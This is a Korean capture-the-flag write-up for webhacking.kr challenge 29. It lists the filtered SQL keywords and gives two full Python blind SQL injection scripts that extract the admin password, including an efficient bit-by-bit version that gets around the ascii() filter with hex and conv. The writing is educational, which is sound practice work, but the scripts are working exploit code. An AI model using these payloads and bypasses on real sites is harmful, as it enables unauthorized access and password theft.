로그인을 누르면 guest 계정으로 로그인된다.
우선 어떤 것들이 필터되었는지 확인하자.
// 필터문자
%20
union
/
*
or
limit
order
ascii
// 사용 가능 문자
select
(
)
0x
like
<, >
length
substr
mid
lpad
conv
hex
관리자 계정으로 들어가기 위해 no=-1||no=2%23 을 url에 직접 입력하였더니 관리자 비밀번호 재인증 페이지로 이동되었다.
이 문제는 아래와 같이 기존에 Blind SQL 인젝션 스크립트를 사용해도 된다. 하지만 너무느려서 검색을 하다 효율적인 Blind SQL 인젝션 알게됐다.
https://blog.silnex.kr/efficient-blind-sql-injection/
// 기존 Blind SQL 인젝션 스크립트
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | import urllib2 import urllib import re TrueKeyword = "admin" headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'} params = {'id' : 'rap1er', 'pw' : 'passwd'} id_pw = urllib.urlencode(params) url = "http://webhacking.kr" req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes. res = urllib2.urlopen(req) session_id = res.headers.get("Set-Cookie") print "GET SESSION-ID : "+session_id ################################################################## # password length ################################################################## blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&" for i in xrange(1,100): injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 length(pw)<{} -- ".format(i).replace(" ","%0a") print injectParams req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall("admin", data) if find: pwLen = i-1 break print "password length :" + str(pwLen) ################################################################## # password string ################################################################## password ="" for i in xrange(1,pwLen+1): for j in xrange(33, 128): # LIKE statement use '%', '_' # if chr(j) == '%' or chr(j) == '_': # continue injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(pw,{},1)={} -- ".format(str(i), str(hex(j))) injectParams = injectParams.replace(" ", "%0a") req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall("admin", data) print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")" if find: # Bytes is required, not str. password = password + chr(j) print "#### %d's password#### : "%(i)+password break print password | cs |
앞서 링크한 블로그에 너무 잘 설명되어있어 간략하게 기술하자면
기존 Blind SQL 인젝션과 같은 경우는 한글자를 알아내기 위해 아스키코드33 ~ 126까지 하나하나 대입해야하므로 굉장히 느리다.
하지만 Efficient Blind SQL 인젝션 스크립트를 이용하면 굉장히 빠르다.
예를 들어, 패스워드 길이를 구하려한다면 lpad(bin(length(pw)),7,0)으로 2진수 7자리로 변환해준다.
패스워드 길이가 10이면 0001010이 되고 substr() 함수로 각 자리를 1번씩만 비교하여 총 7번의 비교로 패스워드 길이를 구할 수 있다.
(아래 스크립트 22~37 라인에 해당함)
앞서 링크를 보면 패스워드를 구하기 위해 substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1) 를 사용했는데
이 문제는 ascii 함수를 필터처리 했다. 따라서 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 와 같이
hex로 우회한 뒤 conv 함수로 16진수를 2진수로 변환 후 7자리가 되도록 0으로 패딩하고 substr 함수로
한자리씩 비교하였다.
+추가 ascii 함수가 필터돼서 hex함수로 우회하고 2진수로 변환했는데 ord() 함수도 ascii() 함수와 동일한 기능을 한다.
혹시 나중에 까먹었을 때 금방 눈에 들어오게 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 를 풀어 설명하자면
pw = "abcd" 일 때
1. substr(pw,1,1) -> 'a'
2. hex('a') -> 61
3. conv(61, 16, 2) ->1100001 // conv 함수는 진법 변환 함수로 16진수 ->2진수로 변환했다
4. lpad('1100001',7,0) -> 1100001 // lpad 함수는 왼쪽에 0으로 패딩값을 채우는 것이다.(7자리)
// efficient Blind SQL 인젝션
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | import urllib2 import urllib import re TrueKeyword = "admin" headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'} params = {'id' : 'rap1er', 'pw' : 'YourPassword'} id_pw = urllib.urlencode(params) url = "http://webhacking.kr" req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes. res = urllib2.urlopen(req) session_id = res.headers.get("Set-Cookie") print "GET SESSION-ID : "+session_id ################################################################## # password length # ex) select substr(lpad(bin(length(pw)),7,0),{},1); ################################################################## blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&" bin_pw ="" for i in xrange(1,8): injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(bin(length(pw)),7,0),{},1)=0 -- ".format(i).replace(" ","%0a") print injectParams req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall("admin", data) if find: bin_pw+='0' else: bin_pw+='1' print "password length :" + str(int(bin_pw,2)) ################################################################## # password string # select substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1); ################################################################## count=1 password = "" for i in xrange(1, int(bin_pw,2)+1): bin_tmp = "" for j in xrange(1, 8): injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1)=0 -- ".format(i,j).replace(" ", "%0a") req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall("admin", data) print "[+] Request : " + injectParams + " --> {}'s injection".format(count) count+=1 if find: bin_tmp += "0" else: bin_tmp += "1" password += chr(int(bin_tmp,2)) print "{}'s password : ".format(i)+ password print "PASSWORDDDDDDDD is :" + password | cs |
// 실행 결과 화면
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 9번 :: Blind SQL 인젝션 ::IF문 활용 (0) | 2018.09.08 |
---|---|
[webhacking.kr] 13번 Blind SQL 인젝션 equal bypass (0) | 2018.09.06 |
[webhacking.kr] 55번 Blind SQL 인젝션 (0) | 2018.09.04 |
[webhacking.kr] 53번 - 작성중 (0) | 2018.09.03 |
[webhacking.kr] 29번 SQL 인젝션 subquery (0) | 2018.09.02 |